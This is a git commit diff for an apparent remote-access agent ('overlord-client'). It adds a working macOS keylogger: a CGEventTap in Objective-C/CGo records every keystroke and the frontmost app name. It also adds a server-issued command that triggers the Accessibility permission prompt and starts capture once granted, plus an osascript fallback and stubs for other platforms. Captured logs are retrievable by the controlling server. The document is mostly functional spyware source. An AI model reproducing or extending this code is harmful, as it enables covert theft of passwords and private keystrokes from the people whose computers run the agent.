This commit is contained in:
KingKDot
2026-06-03 21:04:14 -05:00
parent a8624991b0
commit cba42b236f
23 changed files with 1270 additions and 166 deletions
@@ -2276,6 +2276,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
resumePid = int32(p)
}
return HandleProcessResume(ctx, env, cmdID, resumePid)
case "keylog_request_permission":
return HandleKeylogRequestPermission(ctx, env, cmdID)
case "keylog_list":
return HandleKeylogList(ctx, env, cmdID)
case "keylog_retrieve":
@@ -9,6 +9,77 @@ import (
"overlord-client/cmd/agent/wire"
)
// HandleKeylogRequestPermission handles the keylog_request_permission command.
// On macOS it triggers the Accessibility permission prompt and reports back
// whether permission was granted. On other platforms it reports that no
// permission gate exists and the keylogger is already running (or starts it).
func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID string) error {
if env.Keylogger == nil {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_permission_result",
"commandId": cmdID,
"granted": false,
"reason": "keylogger_disabled",
})
}
if !env.Keylogger.NeedsPermissionGate() {
// Non-macOS: keylogger doesn't need an explicit permission gate.
// Ensure it is running (it should already be) and report granted.
if !env.Keylogger.IsRunning() {
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] start error: %v", err)
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_permission_result",
"commandId": cmdID,
"granted": false,
"reason": err.Error(),
})
}
}
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_permission_result",
"commandId": cmdID,
"granted": true,
"reason": "no_permission_gate",
})
}
// macOS: trigger the OS accessibility prompt and wait for the result.
log.Printf("[keylogger] macOS: requesting accessibility permission")
granted := env.Keylogger.RequestPermission()
if granted {
// Start the keylogger now that we have permission.
if !env.Keylogger.IsRunning() {
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] start after permission grant failed: %v", err)
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_permission_result",
"commandId": cmdID,
"granted": false,
"reason": "start_failed: " + err.Error(),
})
}
}
log.Printf("[keylogger] macOS accessibility permission granted, keylogger started")
} else {
log.Printf("[keylogger] macOS accessibility permission denied")
}
reason := "granted"
if !granted {
reason = "user_denied"
}
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "keylog_permission_result",
"commandId": cmdID,
"granted": granted,
"reason": reason,
})
}
const MaxChunkSize = 256 * 1024
func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error {
@@ -33,6 +33,14 @@ type Keylogger struct {
lastKeyTime time.Time
lineStarted bool
currentWindowTitle string
permissionGranted bool // set to true once OS permission has been confirmed
}
// IsRunning returns whether the keylogger capture loop is active.
func (k *Keylogger) IsRunning() bool {
k.mu.Lock()
defer k.mu.Unlock()
return k.running
}
func New() *Keylogger {
@@ -1,30 +1,385 @@
//go:build darwin && !nokeylogger
// +build darwin,!nokeylogger
//go:build darwin && !nokeylogger && cgo
// +build darwin,!nokeylogger,cgo
package keylogger
/*
#cgo CFLAGS: -x objective-c
#cgo LDFLAGS: -framework ApplicationServices -framework CoreFoundation -framework AppKit
#include <ApplicationServices/ApplicationServices.h>
#include <CoreFoundation/CoreFoundation.h>
#include <stdlib.h>
// Forward declaration — implemented in Go via CGo export.
extern void goOnKey(const char *chars, int len, int keyCode, int flags);
// -----------------------------------------------------------------------
// Event tap globals
// -----------------------------------------------------------------------
static CFMachPortRef _tap = NULL;
static CFRunLoopSourceRef _tapSrc = NULL;
static CFRunLoopRef _tapRL = NULL;
// -----------------------------------------------------------------------
// Keystroke callback
// -----------------------------------------------------------------------
static CGEventRef keyEventCallback(CGEventTapProxy proxy,
CGEventType type,
CGEventRef event,
void *refcon)
{
if (type == kCGEventKeyDown || type == kCGEventFlagsChanged) {
UniChar buf[8];
UniCharCount actualLen = 0;
if (type == kCGEventKeyDown) {
CGEventKeyboardGetUnicodeString(event, 8, &actualLen, buf);
}
int keyCode = (int)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
int flags = (int)CGEventGetFlags(event);
if (type == kCGEventKeyDown && actualLen > 0) {
// Simple UTF-16 -> UTF-8 conversion for BMP characters only
char utf8[32];
int utf8Len = 0;
for (UniCharCount i = 0; i < actualLen && utf8Len < 28; i++) {
UniChar c = buf[i];
if (c < 0x80) {
utf8[utf8Len++] = (char)c;
} else if (c < 0x800) {
utf8[utf8Len++] = (char)(0xC0 | (c >> 6));
utf8[utf8Len++] = (char)(0x80 | (c & 0x3F));
} else {
utf8[utf8Len++] = (char)(0xE0 | (c >> 12));
utf8[utf8Len++] = (char)(0x80 | ((c >> 6) & 0x3F));
utf8[utf8Len++] = (char)(0x80 | (c & 0x3F));
}
}
utf8[utf8Len] = '\0';
goOnKey(utf8, utf8Len, keyCode, flags);
} else if (type == kCGEventFlagsChanged) {
goOnKey("", 0, keyCode, flags);
}
}
return event;
}
// -----------------------------------------------------------------------
// createEventTap — phase 1: allocate the tap (does NOT run the loop).
// Returns 0 on success, -1 on failure (no accessibility permission).
// -----------------------------------------------------------------------
static int createEventTap(void) {
CGEventMask mask = CGEventMaskBit(kCGEventKeyDown) |
CGEventMaskBit(kCGEventFlagsChanged);
_tap = CGEventTapCreate(kCGSessionEventTap,
kCGHeadInsertEventTap,
kCGEventTapOptionListenOnly,
mask,
keyEventCallback,
NULL);
if (!_tap) return -1;
_tapSrc = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, _tap, 0);
return 0;
}
// -----------------------------------------------------------------------
// runEventTapLoop — phase 2: attach to run loop and block.
// Call from a goroutine that has been locked to an OS thread.
// -----------------------------------------------------------------------
static void runEventTapLoop(void) {
_tapRL = CFRunLoopGetCurrent();
CFRunLoopAddSource(_tapRL, _tapSrc, kCFRunLoopCommonModes);
CGEventTapEnable(_tap, true);
CFRunLoopRun();
// Cleanup after loop exits
CGEventTapEnable(_tap, false);
CFRunLoopRemoveSource(_tapRL, _tapSrc, kCFRunLoopCommonModes);
CFRelease(_tapSrc); _tapSrc = NULL;
CFRelease(_tap); _tap = NULL;
_tapRL = NULL;
}
// -----------------------------------------------------------------------
// stopEventTapLoop — signal the run loop to exit.
// -----------------------------------------------------------------------
static void stopEventTapLoop(void) {
if (_tapRL) {
CFRunLoopStop(_tapRL);
}
}
// -----------------------------------------------------------------------
// Permission helpers
// -----------------------------------------------------------------------
static int checkAccessibility(void) {
return AXIsProcessTrusted() ? 1 : 0;
}
static int requestAccessibility(void) {
NSDictionary *opts = @{(__bridge NSString *)kAXTrustedCheckOptionPrompt: @YES};
return AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)opts) ? 1 : 0;
}
// -----------------------------------------------------------------------
// Window title helper
// -----------------------------------------------------------------------
static char* getFrontAppName(void) {
@autoreleasepool {
NSRunningApplication *app =
[[NSWorkspace sharedWorkspace] frontmostApplication];
if (!app) return NULL;
NSString *name = app.localizedName;
if (!name || name.length == 0) return NULL;
return strdup([name UTF8String]);
}
}
*/
import "C"
import (
"fmt"
"log"
"time"
"runtime"
"sync"
"unsafe"
)
func (k *Keylogger) captureKeystrokes() error {
log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode")
// keyEvent holds a single key event delivered from the C tap callback.
type keyEvent struct {
chars string
keyCode int
flags int
}
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
// Global channel used by the C callback to deliver events to Go.
// Buffered so the callback never blocks the event tap thread.
var (
keyEventCh chan keyEvent
keyEventMu sync.Mutex
)
for {
// goOnKey is called from C when a key event arrives.
//
//export goOnKey
func goOnKey(chars *C.char, length C.int, keyCode C.int, flags C.int) {
var s string
if length > 0 && chars != nil {
s = C.GoStringN(chars, length)
}
ev := keyEvent{
chars: s,
keyCode: int(keyCode),
flags: int(flags),
}
keyEventMu.Lock()
ch := keyEventCh
keyEventMu.Unlock()
if ch != nil {
select {
case <-k.stopCh:
return nil
case <-ticker.C:
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
case ch <- ev:
default:
// Drop rather than block the callback thread
}
}
}
// macOS virtual key codes for special keys
const (
kVK_Return = 0x24
kVK_Delete = 0x33 // Backspace on Mac
kVK_Tab = 0x30
kVK_Escape = 0x35
kVK_ForwardDelete = 0x75
kVK_LeftArrow = 0x7B
kVK_RightArrow = 0x7C
kVK_DownArrow = 0x7D
kVK_UpArrow = 0x7E
kVK_Home = 0x73
kVK_End = 0x77
kVK_PageUp = 0x74
kVK_PageDown = 0x79
kVK_F1 = 0x7A
kVK_F2 = 0x78
kVK_F3 = 0x63
kVK_F4 = 0x76
kVK_F5 = 0x60
kVK_F6 = 0x61
kVK_F7 = 0x62
kVK_F8 = 0x64
kVK_F9 = 0x65
kVK_F10 = 0x6D
kVK_F11 = 0x67
kVK_F12 = 0x6F
// CGEventFlags modifier bits
kCGEventFlagMaskCommand = 0x00100000
kCGEventFlagMaskControl = 0x00040000
kCGEventFlagMaskAlternate = 0x00080000
)
// Modifier-only key codes — we don't log standalone modifier presses.
var modifierKeyCodes = map[int]bool{
0x37: true, // Left Command
0x36: true, // Right Command
0x38: true, // Left Shift
0x3C: true, // Right Shift
0x3A: true, // Left Option/Alt
0x3D: true, // Right Option/Alt
0x3B: true, // Left Control
0x3E: true, // Right Control
0x39: true, // Caps Lock
}
var specialKeyNames = map[int]string{
kVK_Return: "[ENTER]",
kVK_Delete: "[BACKSPACE]",
kVK_Tab: "[TAB]",
kVK_Escape: "[ESC]",
kVK_ForwardDelete: "[DELETE]",
kVK_LeftArrow: "[LEFT]",
kVK_RightArrow: "[RIGHT]",
kVK_DownArrow: "[DOWN]",
kVK_UpArrow: "[UP]",
kVK_Home: "[HOME]",
kVK_End: "[END]",
kVK_PageUp: "[PAGE UP]",
kVK_PageDown: "[PAGE DOWN]",
kVK_F1: "[F1]",
kVK_F2: "[F2]",
kVK_F3: "[F3]",
kVK_F4: "[F4]",
kVK_F5: "[F5]",
kVK_F6: "[F6]",
kVK_F7: "[F7]",
kVK_F8: "[F8]",
kVK_F9: "[F9]",
kVK_F10: "[F10]",
kVK_F11: "[F11]",
kVK_F12: "[F12]",
}
func (k *Keylogger) captureKeystrokes() error {
// Phase 1: try to create the event tap (fails immediately if no permission).
if ret := C.createEventTap(); ret != 0 {
return fmt.Errorf("CGEventTap creation failed — accessibility permission required")
}
// Phase 2: publish the event channel and run the tap on a locked OS thread.
keyEventMu.Lock()
keyEventCh = make(chan keyEvent, 512)
ch := keyEventCh
keyEventMu.Unlock()
tapDone := make(chan struct{})
go func() {
defer close(tapDone)
runtime.LockOSThread()
defer runtime.UnlockOSThread()
C.runEventTapLoop() // blocks until stopEventTapLoop() is called
}()
log.Printf("[keylogger] macOS CGEventTap running")
for {
select {
case <-k.stopCh:
C.stopEventTapLoop()
<-tapDone
keyEventMu.Lock()
keyEventCh = nil
keyEventMu.Unlock()
return nil
case ev := <-ch:
k.handleDarwinEvent(ev)
}
}
}
func (k *Keylogger) handleDarwinEvent(ev keyEvent) {
// Modifier-only events: skip
if ev.chars == "" && modifierKeyCodes[ev.keyCode] {
return
}
var keyStr string
if name, ok := specialKeyNames[ev.keyCode]; ok {
keyStr = name
} else if ev.chars != "" {
cmd := ev.flags&kCGEventFlagMaskCommand != 0
ctrl := ev.flags&kCGEventFlagMaskControl != 0
alt := ev.flags&kCGEventFlagMaskAlternate != 0
if cmd || ctrl {
keyStr = formatDarwinCombo(cmd, ctrl, alt, ev.chars)
} else {
keyStr = ev.chars
}
}
if keyStr == "" {
return
}
k.logKey(keyStr)
}
func formatDarwinCombo(cmd, ctrl, alt bool, key string) string {
s := "["
if ctrl {
s += "CTRL+"
}
if cmd {
s += "CMD+"
}
if alt {
s += "ALT+"
}
return s + key + "]"
}
// CheckAccessibilityPermission returns true if the process already has
// macOS Accessibility permission.
func CheckAccessibilityPermission() bool {
return C.checkAccessibility() == 1
}
// RequestAccessibilityPermission displays the macOS system prompt asking the
// user to grant Accessibility permission. Returns true if permission is
// currently granted (either already was or just approved).
func RequestAccessibilityPermission() bool {
return C.requestAccessibility() == 1
}
func getWindowTitle() string {
return ""
cstr := C.getFrontAppName()
if cstr == nil {
return ""
}
defer C.free(unsafe.Pointer(cstr))
return C.GoString(cstr)
}
// NeedsPermissionGate returns true on macOS: the server must request
// accessibility permission before the keylogger can start.
func (k *Keylogger) NeedsPermissionGate() bool {
return true
}
// RequestPermission triggers the macOS accessibility permission prompt via
// AXIsProcessTrustedWithOptions (CGo path — native build only).
func (k *Keylogger) RequestPermission() bool {
granted := RequestAccessibilityPermission()
k.mu.Lock()
k.permissionGranted = granted
k.mu.Unlock()
return granted
}
// HasPermission checks the current accessibility permission state without
// displaying any prompt.
func (k *Keylogger) HasPermission() bool {
return CheckAccessibilityPermission()
}
@@ -0,0 +1,63 @@
//go:build darwin && !nokeylogger && !cgo
// +build darwin,!nokeylogger,!cgo
package keylogger
import (
"log"
"os/exec"
"strings"
"time"
)
func checkPermissionViaOsascript() bool {
cmd := exec.Command("osascript", "-e",
`tell application "System Events" to return name of every process`)
cmd.Stdout = nil
out, err := cmd.Output()
if err != nil {
return false
}
return len(strings.TrimSpace(string(out))) > 0
}
func requestPermissionViaOsascript() bool {
cmd := exec.Command("osascript", "-e",
`tell application "System Events" to return name of every process`)
cmd.Run() // ignore error — the prompt fires as a side effect
deadline := time.Now().Add(60 * time.Second)
for time.Now().Before(deadline) {
time.Sleep(500 * time.Millisecond)
if checkPermissionViaOsascript() {
return true
}
}
return false
}
func (k *Keylogger) NeedsPermissionGate() bool {
return true
}
func (k *Keylogger) RequestPermission() bool {
granted := requestPermissionViaOsascript()
k.mu.Lock()
k.permissionGranted = granted
k.mu.Unlock()
return granted
}
func (k *Keylogger) HasPermission() bool {
return checkPermissionViaOsascript()
}
func (k *Keylogger) captureKeystrokes() error {
log.Printf("[keylogger] keystroke capture is not available in CGO-disabled darwin builds; rebuild natively on macOS")
<-k.stopCh
return nil
}
func getWindowTitle() string {
return ""
}
@@ -1,4 +1,11 @@
//go:build !windows && !linux && !darwin && !nokeylogger
// Catch-all stub for platforms without a native keylogger implementation
// (FreeBSD, OpenBSD, Android, etc.).
//
// Darwin is excluded because it has its own implementations:
// - keylogger_darwin.go (darwin && cgo) — CGEventTap, full capture
// - keylogger_darwin_nocgo.go (darwin && !cgo) — osascript permission gate,
// stub capture
package keylogger
@@ -15,10 +15,14 @@ type FileInfo struct {
func New() *Keylogger { return nil }
func (k *Keylogger) Start() error { return nil }
func (k *Keylogger) Stop() {}
func (k *Keylogger) Start() error { return nil }
func (k *Keylogger) Stop() {}
func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
func (k *Keylogger) ClearAll() error { return nil }
func (k *Keylogger) DeleteFile(string) error { return nil }
func (k *Keylogger) FlushNow() {}
func (k *Keylogger) ClearAll() error { return nil }
func (k *Keylogger) DeleteFile(string) error { return nil }
func (k *Keylogger) FlushNow() {}
func (k *Keylogger) IsRunning() bool { return false }
func (k *Keylogger) NeedsPermissionGate() bool { return false }
func (k *Keylogger) RequestPermission() bool { return false }
func (k *Keylogger) HasPermission() bool { return false }
@@ -0,0 +1,19 @@
//go:build !darwin && !nokeylogger
// +build !darwin,!nokeylogger
package keylogger
func (k *Keylogger) NeedsPermissionGate() bool {
return false
}
func (k *Keylogger) RequestPermission() bool {
k.mu.Lock()
k.permissionGranted = true
k.mu.Unlock()
return true
}
func (k *Keylogger) HasPermission() bool {
return true
}
+12 -3
View File
@@ -593,10 +593,19 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
env.Keylogger = keylogger.New()
if env.Keylogger != nil {
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
if env.Keylogger.NeedsPermissionGate() {
// macOS: do NOT start automatically. The server must send
// keylog_request_permission first, which triggers the OS prompt.
// The keylogger will be started by the command handler once
// permission is granted.
defer env.Keylogger.Stop()
log.Printf("[keylogger] macOS permission gate active — waiting for server request")
} else {
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
defer env.Keylogger.Stop()
}
}
}